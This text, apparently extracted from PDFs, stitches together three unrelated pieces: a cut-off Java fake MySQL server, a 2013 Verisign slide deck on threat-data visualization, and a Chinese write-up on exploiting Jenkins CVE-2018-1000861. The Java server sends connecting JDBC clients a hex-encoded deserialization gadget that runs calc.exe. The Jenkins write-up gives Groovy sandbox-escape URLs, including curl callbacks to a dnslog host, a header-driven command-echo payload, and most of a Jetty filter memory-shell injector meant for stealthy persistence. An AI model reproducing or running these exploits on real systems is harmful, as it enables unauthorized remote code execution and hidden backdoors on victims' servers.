5524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f415 5544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d 0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d524541440532383830300 7000016fe000002000000";    private static final String warning = "01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a00000 30364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d6 57373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404 071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6 c2062652072656d6f76656420696e2061206675747572652072656c656173652e590000060757617 26e696e6704313238374b27404071756572795f63616368655f74797065272069732064657072656 36174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656 c656173652e07000007fe000002000000";    private static final HashMap<Integer, String> hashmap = new HashMap<Integer, String>();    public static void main(String[] args) throws IOException, ClassNotFoundException {        Server server = new Server();        server.GreetingServer(3310);   }    public Server() {        init();   }    public void init() {        hashmap.put(1, "set names");        hashmap.put(2, "set character_set_results");        hashmap.put(3, "show warnings");        hashmap.put(4, "session.auto_increment_increment");        hashmap.put(5, "show session status");        hashmap.put(6, "set autocommit");        hashmap.put(7, "set sql_mode");   }    public void GreetingServer(int port) throws IOException {        serverSocket = new ServerSocket(port);        //serverSocket.setSoTimeout(10000000);        while (true) {            Socket socket = serverSocket.accept();            System.out.println("收到来自:" + socket.getRemoteSocketAddress() + "的 请求");            sendData("greating", socket);            System.out.println("发送问候包");            receiveData(socket);            sendData("ok", socket);            receiveData(socket);            sendData("ok", socket);            while (true) {                String content = receiveData(socket);                //System.out.println(content);                if (content.contains(hashmap.get(1))) {                    sendData("ok", socket);               } else if (content.contains(hashmap.get(2))) {                    sendData("ok", socket);               } else if (content.contains(hashmap.get(6))) {                    sendData("ok", socket);               } else if (content.contains(hashmap.get(7))) {                    sendData("ok", socket);               } else if (content.contains(hashmap.get(5))) {                    sendData("hack", socket);               } else if (content.contains(hashmap.get(4))) {                    sendData("sessionAuto", socket);               } else if (content.contains(hashmap.get(3))) {                    sendData("warning", socket);               }           }       }   }    private String receiveData(Socket socket) throws IOException {        BufferedInputStream bis = new BufferedInputStream(socket.getInputStream());        DataInputStream dis = new DataInputStream(bis);        try {            byte[] bytes = new byte[1]; // 一次读取一个byte            StringBuilder ret = new StringBuilder();            StringBuilder hex= new StringBuilder();            while (dis.read(bytes) != -1) {                //hex.append(bytesToHex(bytes));                ret.append(new String(bytes, StandardCharsets.UTF_8));                if (dis.available() == 0) { //一个请求                    System.out.println(ret);                    break;               }           }            return ret.toString().toLowerCase();       } catch (Exception e) {            e.printStackTrace();       }        return null;   }    private void sendData(String type, Socket socket) throws IOException {        DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());        System.out.println(type);        switch (type) {            case "ok":                dataOutputStream.write(hexTobytes(response_ok));                dataOutputStream.flush();                break;            case "greating":                dataOutputStream.write(hexTobytes(greating_data));                dataOutputStream.flush();                break;            case "sessionAuto":                dataOutputStream.write(hexTobytes(sessionAuto));                dataOutputStream.flush();                break;            case "warning":                dataOutputStream.write(hexTobytes(warning));                dataOutputStream.flush();                break;            case "hack":                String data = "0100000102";                data += "1a000002036465660001630163016301630c3f00ffff0000fc9000000000";                data += "1a000003036465660001630163016301630c3f00ffff0000fc9000000000";                String payload = getPayload();                String dataLength = payloadLength(payload+"00");                //data += dataLength + "04";                //data += payload;                //data += "0500003dfe00000200";                data +="d50a0004fbfcd10aaced0005737200176a6176612e7574696c2e5072696f72697479517565756 594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612 f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6 d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a44802000 24c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c6 16e672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c6 56374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72f bf49925b86eb13702000078707400106f757470757450726f7065727469657377040000000373720 03a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c746 32e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e7 44e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035 b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6 571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f5 0726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787 000000002757200025b42acf317f8060854e002000078700000069ecafebabe0000003400390a000 3002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6 e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6 46501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6 501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c6 1737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574732 4537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6 d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4 d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f736572696 16c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7 401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f787 36c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616 368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6 e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f726 72f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f737 56e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d4178697349746 57261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f7 3657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657 261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2 f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f737 56e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657 269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c47616467657 4732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696 c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6 f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f4 1627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010 039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c746 32f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732 f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e7 4696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e746 96d653b0c002c002d0a002b002e01000863616c632e65786508003001000465786563010027284c6 a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320 0330a002b003401000d537461636b4d61705461626c6501001e79736f73657269616c2f50776e657 23836353936353638353031343530300100204c79736f73657269616c2f50776e657238363539363 53638353031343530303b002100020003000100040001001a0005000600010007000000020008000 40001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010 000002f000e0000000c000100000005000f003800000001001300140002000c0000003f000000030 0000001b100000002000d00000006000100000034000e00000020000300000001000f00380000000 00001001500160001000000010017001800020019000000040001001a00010013001b0002000c000 000490000000400000001b100000002000d00000006000100000038000e0000002a0004000000010 00f003800000000000100150016000100000001001c001d000200000001001e001f0003001900000 0040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003 557b1000000010036000000030001030002002000000002002100110000000a00010002002300100 0097571007e0010000001d4cafebabe00000034001b0a00030015070017070018070019010010736 57269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3 c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d626572546 1626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000 c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2 f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a61766 10c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f476164676 5747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f5365726 9616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676 57473002100020003000100040001001a000500060001000700000002000800010001000a000b000 1000c0000002f00010001000000052ab70001b100000002000d0000000600010000003c000e00000 00c000100000005000f001200000002001300000002001400110000000a000100020016001000097 074000450776e72707701007871007e000d7807000005fe000022000100";                dataOutputStream.write(hexTobytes(data));                dataOutputStream.flush();                break;       }   }    private String getPayload() throws IOException {        File file = new File("C:\\Users\\Administrator\\Documents\\工作学习相关\\学 习\\MySQL_Fake_Server\\1.txt");        FileInputStream fileInputStream = new FileInputStream(file);        byte[] bytes = new byte[(int) file.length()];        fileInputStream.read(bytes);        return bytesToHex(bytes);   }    private byte[] hexTobytes(String hex) {        if (hex.length() < 1) {            return null;       } else {            byte[] result = new byte[hex.length() / 2];            int j = 0;            for (int i = 0; i < hex.length(); i += 2) {                result[j++] = (byte) Integer.parseInt(hex.substring(i, i + 2), 16);           }            return result;       }   }    public String bytesToHex(byte[] bytes) {        StringBuffer stringBuffer = new StringBuffer();        for (int i = 0; i < bytes.length; i++) {            String s = Integer.toHexString(bytes[i] & 0xFF);            if (s.length() < 2) {                s = "0" + s;           }            stringBuffer.append(s.toLowerCase());       }        return stringBuffer.toString();   }    public String payloadLength(String payload) {        String hexStr = Integer.toHexString(payload.length() / 2);        int length = hexStr.length();        if (length % 6 != 0) {            for (int i = 0; i < 6 - length; i++) {                hexStr = "0" + hexStr;           }       }        System.out.println("payload长度:" + hexStr);        return hexStr;   } }
pdf
Threat Data Visualization Steve Ginty Brandon Dixon July 18th 2013 Verisign Confidential 2 Verisign Confidential and Proprietary • Identify the problem • Discuss the solution • Walk through use targeted attack use case • Identify caveats • Conclusion Overview and Agenda 3 Verisign Confidential and Proprietary • Attack’s and the data associated with them are ever increasing • Security organizations are now collecting more data than analyst can triage • Multiple databases with separate UI’s to query • Passive DNS data • WHOIS Data • Malware Repository • Open Source Intelligence • How do you sift through terabytes of domains, IP addresses, malware strings, assembly code and network PCAPs to find that one indicator driving the next attack? The Problem 4 Verisign Confidential and Proprietary • Leverage a data visualization product to actively query multiple data sources quickly and connect nodes. • Serves as analysis suite • Significantly expedites data processing • Focus analyst effort on information that matters • Many graph-based problems in security • iDefense has chosen to use Paterva’s Maltego software to act as a visualization. • Use open source transforms to expedite • Develop custom transforms to access internal and external systems • Automate repeatable processes through the use of machines The Solution 5 Verisign Confidential and Proprietary • iDefense identifies a malicious file using the following domain for C&C: • itsec.eicp.net • Dynamic DNS domain resolving to over 800 IP addresses • Over 500 Second level domain associations • Manually sifting through all this data would take an extreme amount of analyst effort Targeted Attack Case Study 6 Verisign Confidential and Proprietary The old way • Command Line Scripting • Excel • Text Files 7 Verisign Confidential and Proprietary Data Visualization – First Level Connections 8 Verisign Confidential and Proprietary Data Visualization – Second Level Connections 9 Verisign Confidential and Proprietary Data Visualization – Weighted Graph 10 Verisign Confidential and Proprietary New Indicators of Interest Identified 11 Verisign Confidential and Proprietary New Malware Samples Identified 12 Verisign Confidential and Proprietary • Not a 100% solution • But significantly better than before • Platform Limitations • Smaller user base • Collaborative research is an issue • There is no undo button – this is a bitch • Slow update process to client • Lacks ability to pass-the-graph • The representation of time in Passive DNS is a hurdle Problems to Overcome 13 Verisign Confidential and Proprietary Live Demo 14 Verisign Confidential and Proprietary • Not enough companies doing visualization of security data • Platforms need to easily integrate into existing databases and solutions • Analysts need to have a way to save the graph connections outside of a platform • Data should be queried in a graph-based fashion to obtain connections without visuals • Time and other factors need to be accounted for when plotting data Need for More 15 Verisign Confidential and Proprietary • Visualization is not perfect, but speeds up analyst workflow if done properly • Visual platforms are able to take multiple databases filled with potentially overlapping data and show connections • Analyst is still and will always be required to validate decisions and identify the most useful information Conclusions
pdf
Jenkins CVE-2018-1000861 内存马注 ⼊ Jenkins 介绍 Jenkins是⼀个开源的、提供友好操作界⾯的持续集成(CI)⼯具,在企业中使⽤⾮常⼴泛 相关分析可以看 l1nk3r 师傅的⽂章:https://xz.aliyun.com/t/6361 作者 Orange 分析:https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html 前⾔ Jenkins 低版本下 (Jenkins <= 2.137 ) 我们可以在未授权的情况下通过 groovy 来进⾏命令执⾏, ⽽且利⽤⽅式也⾮ 常简单只需要发⼀个 Get 请求就可以了 ⽹上的payload⼤多都是⼀些命令执⾏,请求外带的的情况 命令执⾏: /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbo x .groovy.SecureGroovyScript/checkScript ?sandbox=true &value=public%20class%20x%20%7B%0A%20%20public%20x()%7B%0A%20%20%20%20%22touch%20%2Ftm p %2Fsuccess%22.execute()%0A%20%20%7D%0A%7D 漏洞检测: 借助 dnslog 等平台进⾏检测 /securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox . groovy.SecureGroovyScript/checkScript? sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang. R untime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018- 1000861")%7d)%0aclass+Person%7b%7d /securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox . groovy.SecureGroovyScript/checkScript? sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d 但是我在实际利⽤的情况下,由于反弹shell这些⾮常容易检测,所以⼀利⽤就直接触发了告警,当时就在想有没有 更好的利⽤⼿法,最好能传⼀个 webshell 上去,但是发现很多官⽅提供的 war 包可直接通过 java -jar 进⾏启动, 所以⽂件上传也没什么可能性,于是我就尝试利⽤内存马来进⾏权限维持 内存马注⼊实际其实就是代码注⼊,在查阅了漏洞描述等⽂章后发现这⾥实际上是 Groovy 沙盒逃逸导致的漏洞, 由于是 Groovy 代码执⾏,所以让内存马注⼊有了可能性 所以⼤致的思路如下: 发现 Jenkins 漏洞 -> 反弹shell触发告警尝试别的⽅法 -> 发现漏洞利⽤为 Groovy 代码执⾏ -> Jetty 回显 -> Jetty 内 存马注⼊ -> Payload 体积过⼤问题 环境准备 Jenkins 下载: 修改可下任意版本 https://updates.jenkins-ci.org/download/war/2.31/jenkins.war https://get.jenkins.io/war/2.302/jenkins.war 下载 war 包之后解压导⼊ IDEA ,然后利⽤如下命令开启远程调试模式,⾄此我们就可以动态调代码了 java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 jenkins2.137.war 命令执⾏回显 先不急着内存马注⼊,先尝试解决回显,毕竟回显是内存马的第⼀步,官⽅提供的 war 是可以直接 java -jar 进 ⾏启动 可以看到⾃带的是 Jetty 通过时间延迟来判断命令是否执⾏: 延时5s http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.s c riptsecurity.sandbox.groovy.SecureGroovyScript/checkScript? sandbox=true&value=class%20abcd%7Babcd()%7Bsleep(5000)%7D%7D 所以对应的我们就需要 Jetty 的回显链,这⾥直接参考⼤哥们的中间件回显项⽬ feihong师傅:https://github.com/feihong-cs/Java-Rce-Echo/tree/master/Jetty/code su18师傅:https://github.com/su18/MemoryShell/tree/main/memshell-test/memshell-test-jetty 回显⽐较简单,我们只需要获取请求和响应然后将结果写到 response 中可以了,简单构造了⼀下 回显 Payload 如下: 不过这样全放到 get ⾥⾯体积会⽐较⼤,所以可以针对⼀些空格来压缩⼀下 public class x{ public x(){ Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); field = obj.getClass().getDeclaredField("table"); field.setAccessible(true); obj = field.get(obj); Object[] obj_arr = (Object[]) obj; String cmd = "whoami"; for(int i = 0; i < obj_arr.length; i++){ Object o = obj_arr[i]; if(o == null) continue; field = o.getClass().getDeclaredField("value"); field.setAccessible(true); obj = field.get(o); if(obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")){ Object connection = obj; java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", null); 最终回显 Payload 如下(其实 payload 还可以进⼀步压缩: 命令在 header 中添加 cmd:ls 即可 obj = method.invoke(connection, null); method = obj.getClass().getMethod("getHeader", String.class); cmd = (String)method.invoke(obj, "cmd"); if(cmd != null && !cmd.isEmpty()){ String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A") .next(); method = connection.getClass().getMethod("getPrintWriter", String.class); java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, "utf-8"); printWriter.println(res); } break; }else if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){ java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null); Object httpChannel = method.invoke(obj, null); method = httpChannel.getClass().getMethod("getRequest", null); obj = method.invoke(httpChannel, null); method = obj.getClass().getMethod("getHeader", String.class); cmd = (String)method.invoke(obj, "cmd"); if(cmd != null && !cmd.isEmpty()){ String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A") .next(); method = httpChannel.getClass().getMethod("getResponse", null); obj = method.invoke(httpChannel, null); method = obj.getClass().getMethod("getWriter", null); java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null); printWriter.println(res); } break; } } } } 实现效果如下: 这样我们就可以不使⽤反弹shell ⽽通过回显payload 将命令结果进⾏显⽰ /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbo x.groovy.SecureGroovyScript/checkScript? sandbox=true&value=public%20class%20x%7B%0A%20%20%20%20public%20x()%7BClass%20clazz%20 %3D%20Thread.currentThread().getClass()%3Bjava.lang.reflect.Field%20field%20%3D%20claz z.getDeclaredField(%22threadLocals%22)%3Bfield.setAccessible(true)%3BObject%20obj%20%3 D%20field.get(Thread.currentThread())%3Bfield%20%3D%20obj.getClass().getDeclaredField( %22table%22)%3Bfield.setAccessible(true)%3Bobj%20%3D%20field.get(obj)%3BObject%5B%5D%2 0obj_arr%20%3D%20(Object%5B%5D)%20obj%3BString%20cmd%20%3D%20%22whoami%22%3B%0A%20%20% 20%20%20%20%20%20for(int%20i%20%3D%200%3B%20i%20%3C%20obj_arr.length%3B%20i%2B%2B)%7BO bject%20o%20%3D%20obj_arr%5Bi%5D%3Bif(o%20%3D%3D%20null)%20continue%3Bfield%20%3D%20o. getClass().getDeclaredField(%22value%22)%3Bfield.setAccessible(true)%3Bobj%20%3D%20fie ld.get(o)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(obj%20!%3D%20null%20%26%26%20obj .getClass().getName().endsWith(%22AsyncHttpConnection%22))%7BObject%20connection%20%3D %20obj%3Bjava.lang.reflect.Method%20method%20%3D%20connection.getClass().getMethod(%22 getRequest%22%2C%20null)%3Bobj%20%3D%20method.invoke(connection%2C%20null)%3Bmethod%20 %3D%20obj.getClass().getMethod(%22getHeader%22%2C%20String.class)%3Bcmd%20%3D%20(Strin g)method.invoke(obj%2C%20%22cmd%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20if(cmd%20!%3D%20null%20%26%26%20!cmd.isEmpty())%7BString%20res%20%3D%20new%20java.u til.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(%22%5C%5CA%2 2).next()%3Bmethod%20%3D%20connection.getClass().getMethod(%22getPrintWriter%22%2C%20S tring.class)%3Bjava.io.PrintWriter%20printWriter%20%3D%20(java.io.PrintWriter)method.i nvoke(connection%2C%20%22utf- 8%22)%3BprintWriter.println(res)%3B%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20 %20break%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7Delse%20if(obj%20!%3D%20null%20%26 %26%20obj.getClass().getName().endsWith(%22HttpConnection%22))%7Bjava.lang.reflect.Met hod%20method%20%3D%20obj.getClass().getDeclaredMethod(%22getHttpChannel%22%2C%20null)% 3BObject%20httpChannel%20%3D%20method.invoke(obj%2C%20null)%3Bmethod%20%3D%20httpChann el.getClass().getMethod(%22getRequest%22%2C%20null)%3Bobj%20%3D%20method.invoke(httpCh annel%2C%20null)%3Bmethod%20%3D%20obj.getClass().getMethod(%22getHeader%22%2C%20String .class)%3Bcmd%20%3D%20(String)method.invoke(obj%2C%20%22cmd%22)%3B%0A%20%20%20%20%20%2 0%20%20%20%20%20%20%20%20%20%20if(cmd%20!%3D%20null%20%26%26%20!cmd.isEmpty())%7BStrin g%20res%20%3D%20new%20java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream( )).useDelimiter(%22%5C%5CA%22).next()%3Bmethod%20%3D%20httpChannel.getClass().getMetho d(%22getResponse%22%2C%20null)%3Bobj%20%3D%20method.invoke(httpChannel%2C%20null)%3Bme thod%20%3D%20obj.getClass().getMethod(%22getWriter%22%2C%20null)%3Bjava.io.PrintWriter %20printWriter%20%3D%20(java.io.PrintWriter)method.invoke(obj%2C%20null)%3BprintWriter .println(res)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20break%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D% 0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%20%20%20%0A%7D 内存马注⼊ 有了回显只能算是中间态,但是想要维持权限却远远不够,回显成功说明了内存马注⼊具有可能性,接下来就是内 存马注⼊的利⽤,这⾥我们就关注 Jetty 的内存马 在⽹上最多的基本都是 tomcat 的内存马但是如果遇到其他中间件我们如何进⾏编写 这⾥主要来介绍⼀下我⾃⼰编写的⼀个思路 ⾸先随便打⼀个断点,但是必须要确保断点处的代码会被运⾏到 我这⾥选择的是 Jenkins 的 JenkinsHttpSessionListener 毕竟 session 的创建和销毁肯定会运⾏到 然后我们就可以看到堆栈情况 这⾥直接关注到 chain.doFilter 这⾥,因为熟悉 Filter 内存马的都知道,最终都是放在⼀个链中的并有着先后顺 序,我们的⽬标就是弄清楚链中放的是什么样的东西,然后我们⾃⼰构造出来给他塞到最前⾯ 所以我们就需要先去看 chain 是从哪⾥取出来的 跟进之后发现 chain 是通过 getFilterChain ⽅法来进⾏获取的 跟进查看发现会遍历 ServletHandler#_filterPathMappings 并调⽤ getFilterHolder 来获取 FilterMapping#_holder 属性的值,添加到 _filters 中 最后 filters 会作为参数进⼊ Chain 的构造函数 ,最终返回 chain 从上⾯的源码可看出主要进⾏了两个步骤 1. 获取 ServletHandler#_filterPathMappings 并进⾏遍历 2. 获取 FilterMapping#_holder 并添加到 _filters 中 所以 ServletHandler、FilterMapping、FilterHolder 是我们⽬前需要关注的对象 ServletHandler 先来看 ServletHandler,由于我们编写的是 filter 内存马,所以我们就关注和 filter 有关的属性 上⽂说到我们的 chain 是通过调⽤ getFilterChain 来获取 ServletHandler#_filterPathMappings,所以搜索 _filterPathMappings 来寻找和 _filterPathMappings 有关的⽅法 我们这⾥关注到 updateMappings ⽅法,因为我们添加 filter 的时候肯定是会修改更新 mapping 所以我们需要知道 更新过程中的⼀些细节 可以看到在更新 mapping 的时候会先从 _filterNameMap 属性中进⾏寻找如果没有找到 filtername 对应的 FilterHolder 那么就会抛错,然后就是将 filtermapping 添加到 _filterPathMappings (最开始编写的时候就是这⾥没注意导致添加失败 - - 同时在 ServletHandler 中还有 prependFilterMapping ⽅法可直接将我们的 filtermap 放到第⼀个 看完 ServletHandler 我们可知晓注册内存马需要以下⼏步: 1. 添加 <Filter名字, FilterHolder> 到 ServletHandler#_filterNameMap 中 2. 调⽤ ServletHandler#prependFilterMapping 将添加到 _filterNameMappings 中的第⼀位 FilterMapping 然后来看到 FilterMapping 这⾥我们主要关注我红框框出来的属性,通过结合上下⽂不难看出 _pathSpecs 为 urlpattern ,_filterName 为我 们的 filter 的名字,FilterHolder 应该就是我们 Filter 的封装类 也就是说我们要构造⼀个 FilterHolder 然后把它放到 FilterMapping 的 _holder 属性中,然后把对应的 filtername 和 urlpattren 也放到 FilterMapping 的 _pathSpecs 和 _filterName 中 filtername 和 urlpattern 很好处理反射赋值就⾏了,所以并不是我们的重点关注对象,我们需要重点关注 FilterHolder FilterHolder 来到 FilterHolder 发现是 Filter 的⼀个封装,发现构造函数传⼊的参数为 Filter 所以我们后⾯可以直接可以通过反 射获取构造器来进⾏实例化 ⼤致代码如下: ⾄此我们就是构造好了 FilterHolder 、FilterMapping 所以 filter 的流程⼤致如下: 寻找 ServletHandler 对象 所以接下来的⽬标就是寻找 ServletHandler 对象,在可获取到 request & response 的情况下,遍历线程来获取通常 可作为起⼿式,接下来可配合 idea debug 进⾏寻找 对应属性对应的类都⾮常的清晰,这⾥我们的⽬标是寻找到 ServletHandler 对象 Class filterHolderClas = _filters[0].getClass(); Constructor filterHolderCons = filterHolderClas.getConstructor(javax.servlet.Filter.class); Object filterHolder = filterHolderCons.newInstance(shell); ServletHandler#_filterPathMappings -> FilterMapping#_holder --> FilterHolder ---> Filter 翻⼀下可在 request#_scope#_servletHander 中找到 所以最后的路径可找到 _servletHandler 通过如下反射代码就可以获取到 ServletHandler 对象 request#_scope request#_scope#_servletHandler .... Object _scope = JettyFilterMemShell.getField(shell.request,"_scope"); Object _servletHandler = JettyFilterMemShell.getField(_scope,"_servletHandler"); .... public static Object getField(Object obj, String fieldName) throws Exception { Field f0 = null; Class clas = obj.getClass(); while (clas != Object.class){ try { f0 = clas.getDeclaredField(fieldName); break; } catch (NoSuchFieldException e){ 最终代码如下: ps:由于内存马⾃⼰编写所以并没有测试多个版本,通⽤版本内存马可关注 su18 师傅 和 feihong师傅的项⽬ Su18师傅:https://github.com/feihong-cs/memShell feihong师傅:https://github.com/feihong-cs/memShell 不过 Jenkins 这⾥的 jetty 内存马上⾯项⽬的⽅法会获取不到特定属性从⽽注⼊失败 clas = clas.getSuperclass(); } } if (f0 != null){ f0.setAccessible(true); return f0.get(obj); }else { throw new NoSuchFieldException(fieldName); } } import javax.servlet.*; import java.io.File; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.util.Map; @SuppressWarnings("all") public class JettyFilterMemShell implements Filter { Object request = null; Object response = null; boolean bool = false; String filterName = "evilFilter"; String urlPattern = "/*"; static { JettyFilterMemShell shell = new JettyFilterMemShell(); try { shell.init(); Object _scope = JettyFilterMemShell.getField(shell.request,"_scope"); // 获取 ServletHandler 对象 Object _servletHandler = JettyFilterMemShell.getField(_scope,"_servletHandler"); Object[] _filters = (Object[]) JettyFilterMemShell.getField(_servletHandler,"_filters"); // 判断 filter 是否已注⼊,如果已注⼊就不继续运⾏代码 for (Object filter:_filters){ String _name = (String) JettyFilterMemShell.getField(filter,"_name"); if (_name.equals(shell.filterName)){ shell.bool = true; break; } } if (!shell.bool){ // 反射获取 FilterHolder 构造器并进⾏实例化 Class filterHolderClas = _filters[0].getClass(); Constructor filterHolderCons = filterHolderClas.getConstructor(javax.servlet.Filter.class); Object filterHolder = filterHolderCons.newInstance(shell); 了 // 反射获取 FilterMapping 构造器并进⾏实例化 Object[] _filtersMappings = (Object[]) JettyFilterMemShell.getField(_servletHandler,"_filterMappings"); Class filterMappingClas = _filtersMappings[0].getClass(); Constructor filterMappingCons = filterMappingClas.getConstructor(); Object filterMapping = filterMappingCons.newInstance(); // 反射赋值 filter 名 Field _filterNameField = filterMappingClas.getDeclaredField("_filterName"); _filterNameField.setAccessible(true); _filterNameField.set(filterMapping,shell.filterName); // 反射赋值 _holder Field _holderField = filterMappingClas.getDeclaredField("_holder"); _holderField.setAccessible(true); _holderField.set(filterMapping,filterHolder); // 反射赋值 urlpattern Field _pathSpecsField = filterMappingClas.getDeclaredField("_pathSpecs"); _pathSpecsField.setAccessible(true); _pathSpecsField.set(filterMapping,new String[]{shell.urlPattern}); /** * private final Map<String, FilterHolder> _filterNameMap = new HashMap(); * * at org.eclipse.jetty.servlet.ServletHandler.updateMappings(ServletHandler.java:1345) * at org.eclipse.jetty.servlet.ServletHandler.setFilterMappings(ServletHandler.java:1542) * at org.eclipse.jetty.servlet.ServletHandler.prependFilterMapping(ServletHandler.java:1242 ) */ // 属性带有 final 需要先反射修改 modifiers 才能编辑 final 变量 Field _filterNameMapField = _servletHandler.getClass().getDeclaredField("_filterNameMap"); _filterNameMapField.setAccessible(true); Field modifiersField = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(_filterNameMapField,_filterNameMapField.getModifiers()& ~Modifier.FINAL); // 先把原来的取出来然后再放进去 Map _filterNameMap = (Map) _filterNameMapField.get(_servletHandler); _filterNameMap.put(shell.filterName, filterHolder); _filterNameMapField.set(_servletHandler,_filterNameMap); // 调⽤ prependFilterMapping 将 mapping 放到第⼀个 Method prependFilterMappingMethod = _servletHandler.getClass().getDeclaredMethod("prependFilterMapping",filterMappingClas) ; prependFilterMappingMethod.setAccessible(true); prependFilterMappingMethod.invoke(_servletHandler,filterMapping); } }catch (Exception e){ e.printStackTrace(); } } public void init() throws Exception{ Class<?> clazz = 